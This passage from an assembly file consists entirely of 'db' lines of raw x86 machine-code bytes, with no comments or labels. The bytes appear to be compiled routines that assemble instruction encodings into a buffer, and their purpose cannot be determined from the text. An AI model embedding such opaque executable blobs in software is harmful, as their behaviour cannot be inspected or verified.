0a8h, 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h db 06ah, 005h, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 0a4h, 001h, 000h, 000h, 08bh, 05dh db 010h, 0c6h, 006h, 005h, 089h, 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh db 004h, 037h, 050h, 0ffh, 075h, 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h db 0dfh, 0fch, 0ffh, 0ffh, 083h, 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h db 083h, 07dh, 01ch, 006h, 00fh, 082h, 06eh, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch db 040h, 08bh, 05dh, 010h, 088h, 046h, 001h, 089h, 05eh, 002h, 0e9h, 030h, 001h, 000h db 000h, 08bh, 045h, 00ch, 06ah, 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh db 039h, 07dh, 01ch, 00fh, 082h, 045h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h db 001h, 005h, 089h, 046h, 002h, 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h db 012h, 039h, 07dh, 01ch, 00fh, 082h, 028h, 001h, 000h, 000h, 088h, 046h, 001h, 0c6h db 046h, 002h, 024h, 0ebh, 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh db 082h, 011h, 001h, 000h, 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 045h, 08bh db 05dh, 010h, 089h, 05eh, 003h, 0e9h, 063h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h db 00fh, 082h, 0f4h, 000h, 000h, 000h, 0ebh, 089h, 083h, 07dh, 01ch, 002h, 00fh, 082h db 0e8h, 000h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 001h, 075h db 003h, 0c6h, 006h, 003h, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h db 00ch, 08bh, 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h db 08bh, 0c8h, 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 007h, 05fh, 03bh, 0c7h, 076h, 004h db 06ah, 005h, 0ebh, 005h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h db 088h, 046h, 001h, 074h, 062h, 0e8h, 09fh, 02ch, 000h, 000h, 0a8h, 001h, 075h, 037h db 08bh, 04dh, 00ch, 083h, 0f9h, 005h, 074h, 02fh, 083h, 0f9h, 004h, 074h, 02ah, 083h db 0fbh, 005h, 074h, 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h db 004h, 08bh, 0c1h, 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh db 0cbh, 0c0h, 0e0h, 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 038h, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 0a4h, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 088h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 003h, 088h, 046h, 001h, 0e9h, 065h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 07ch, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h db 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h db 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h db 00fh, 087h, 0d4h, 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h db 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h, 0bch, 02bh, 000h, 000h, 0a8h db 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh db 01ch, 00fh, 082h, 0a9h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 025h, 089h db 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h db 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0deh, 0fah, 0ffh, 0ffh, 083h db 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh db 082h, 073h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 020h, 08bh, 05dh, 010h, 088h db 046h, 001h, 089h, 05eh, 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah db 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h db 04ah, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 025h, 089h, 046h, 002h db 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh db 082h, 02dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 024h, 0c6h, 046h, 002h, 024h, 0ebh db 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h db 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 065h, 08bh, 05dh, 010h, 089h, 05eh db 003h, 0e9h, 062h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h db 000h, 000h, 004h, 020h, 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 021h, 075h, 003h, 0c6h db 006h, 023h, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h db 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh db 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h db 046h, 001h, 074h, 063h, 0e8h, 09ah, 02ah, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh db 04dh, 00ch, 03bh, 0cfh, 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 09fh, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 083h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 023h, 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 077h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h db 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h db 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h db 00fh, 087h, 0d4h, 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h db 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h, 0b6h, 029h, 000h, 000h, 0a8h db 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh db 01ch, 00fh, 082h, 0a9h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 00dh, 089h db 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h db 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0d8h, 0f8h, 0ffh, 0ffh, 083h db 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh db 082h, 073h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 038h, 08bh, 05dh, 010h, 088h db 046h, 001h, 089h, 05eh, 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah db 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h db 04ah, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 00dh, 089h, 046h, 002h db 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh db 082h, 02dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 00ch, 0c6h, 046h, 002h, 024h, 0ebh db 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h db 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 04dh, 08bh, 05dh, 010h, 089h, 05eh db 003h, 0e9h, 062h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h db 000h, 000h, 004h, 008h, 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 009h, 075h, 003h, 0c6h db 006h, 00bh, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h db 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh db 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h db 046h, 001h, 074h, 063h, 0e8h, 094h, 028h, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh db 04dh, 00ch, 03bh, 0cfh, 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 09fh, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 083h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 00bh, 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 077h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h db 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h db 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h db 00fh, 087h, 0d4h, 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h db 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h, 0b0h, 027h, 000h, 000h, 0a8h db 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh db 01ch, 00fh, 082h, 0a9h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 02dh, 089h db 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h db 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0d2h, 0f6h, 0ffh, 0ffh, 083h db 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh db 082h, 073h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 018h, 08bh, 05dh, 010h, 088h db 046h, 001h, 089h, 05eh, 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah db 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h db 04ah, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 02dh, 089h, 046h, 002h db 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh db 082h, 02dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 02ch, 0c6h, 046h, 002h, 024h, 0ebh db 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h db 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 06dh, 08bh, 05dh, 010h, 089h, 05eh db 003h, 0e9h, 062h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h db 000h, 000h, 004h, 028h, 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 029h, 075h, 003h, 0c6h db 006h, 02bh, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h db 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh db 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h db 046h, 001h, 074h, 063h, 0e8h, 08eh, 026h, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh db 04dh, 00ch, 03bh, 0cfh, 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 09fh, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 083h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 02bh, 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 077h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h db 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h db 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h db 00fh, 087h, 0d4h, 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h db 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h, 0aah, 025h, 000h, 000h, 0a8h db 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh db 01ch, 00fh, 082h, 0a9h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 035h, 089h db 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h db 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0cch, 0f4h, 0ffh, 0ffh, 083h db 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh db 082h, 073h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 010h, 08bh, 05dh, 010h, 088h db 046h, 001h, 089h, 05eh, 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah db 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h db 04ah, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 035h, 089h, 046h, 002h db 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh db 082h, 02dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 034h, 0c6h, 046h, 002h, 024h, 0ebh db 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h db 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 075h, 08bh, 05dh, 010h, 089h, 05eh db 003h, 0e9h, 062h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h db 000h, 000h, 004h, 030h, 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 031h, 075h, 003h, 0c6h db 006h, 033h, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h db 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh db 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h db 046h, 001h, 074h, 063h, 0e8h, 088h, 024h, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh db 04dh, 00ch, 03bh, 0cfh, 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 09fh, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 083h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 033h, 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 077h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h db 056h, 03bh, 0c2h, 057h, 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h db 000h, 000h, 083h, 0f8h, 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h db 00fh, 087h, 0d4h, 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h db 081h, 075h, 069h, 039h, 055h, 00ch, 075h, 047h, 0e8h, 0a4h, 023h, 000h, 000h, 0a8h db 001h, 074h, 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh db 01ch, 00fh, 082h, 0a9h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 03dh, 089h db 05eh, 001h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h db 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0c6h, 0f2h, 0ffh, 0ffh, 083h db 0c4h, 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh db 082h, 073h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 008h, 08bh, 05dh, 010h, 088h db 046h, 001h, 089h, 05eh, 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah db 007h, 05fh, 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h db 04ah, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 03dh, 089h, 046h, 002h db 089h, 05eh, 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh db 082h, 02dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 03ch, 0c6h, 046h, 002h, 024h, 0ebh db 016h, 083h, 0f8h, 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h db 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 07dh, 08bh, 05dh, 010h, 089h, 05eh db 003h, 0e9h, 062h, 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h db 000h, 000h, 004h, 038h, 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 001h, 0c6h, 006h, 039h, 075h, 003h, 0c6h db 006h, 03bh, 083h, 0f8h, 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h db 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh db 0c7h, 0ebh, 006h, 06ah, 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h db 046h, 001h, 074h, 063h, 0e8h, 082h, 022h, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh db 04dh, 00ch, 03bh, 0cfh, 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h db 07dh, 01ch, 072h, 05ch, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h db 0e9h, 09fh, 0feh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h db 002h, 08bh, 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh db 0e9h, 083h, 0feh, 0ffh, 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah db 0c3h, 0c6h, 006h, 03bh, 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h db 0e9h, 077h, 0feh, 0ffh, 0ffh, 055h, 08bh, 0ech, 051h, 08bh, 045h, 014h, 053h, 056h db 089h, 045h, 0fch, 033h, 0c9h, 033h, 0f6h, 083h, 065h, 0fch, 001h, 057h, 08bh, 07dh db 018h, 074h, 00bh, 039h, 04dh, 00ch, 074h, 006h, 06ah, 001h, 0c6h, 007h, 050h, 05eh db 089h, 045h, 018h, 083h, 065h, 018h, 004h, 074h, 00bh, 083h, 07dh, 00ch, 002h, 074h db 005h, 0c6h, 004h, 03eh, 052h, 046h, 039h, 04dh, 008h, 08bh, 0deh, 074h, 027h, 083h db 07dh, 008h, 001h, 074h, 021h, 083h, 07dh, 008h, 003h, 074h, 01bh, 08dh, 014h, 03eh db 06ah, 0ffh, 052h, 050h, 0ffh, 075h, 00ch, 051h, 06ah, 001h, 0e8h, 098h, 0f1h, 0ffh db 0ffh, 083h, 0c4h, 018h, 003h, 0f0h, 033h, 0c9h, 0ebh, 016h, 039h, 04dh, 00ch, 074h db 00eh, 08dh, 014h, 03eh, 06ah, 0ffh, 052h, 050h, 0ffh, 075h, 00ch, 051h, 051h, 0ebh db 0dfh, 083h, 0cbh, 0ffh, 03bh, 0deh, 00fh, 084h, 00bh, 001h, 000h, 000h, 039h, 04dh db 008h, 00fh, 084h, 0a8h, 000h, 000h, 000h, 083h, 07dh, 008h, 002h, 00fh, 084h, 09eh db 000h, 000h, 000h, 083h, 07dh, 008h, 001h, 075h, 06ah, 08bh, 045h, 010h, 083h, 0f8h db 004h, 075h, 010h, 0c6h, 004h, 03eh, 0f7h, 046h, 0c6h, 004h, 03eh, 024h, 0c6h, 044h db 03eh, 001h, 024h, 0ebh, 013h, 083h, 0f8h, 005h, 075h, 012h, 0c6h, 004h, 03eh, 0f7h 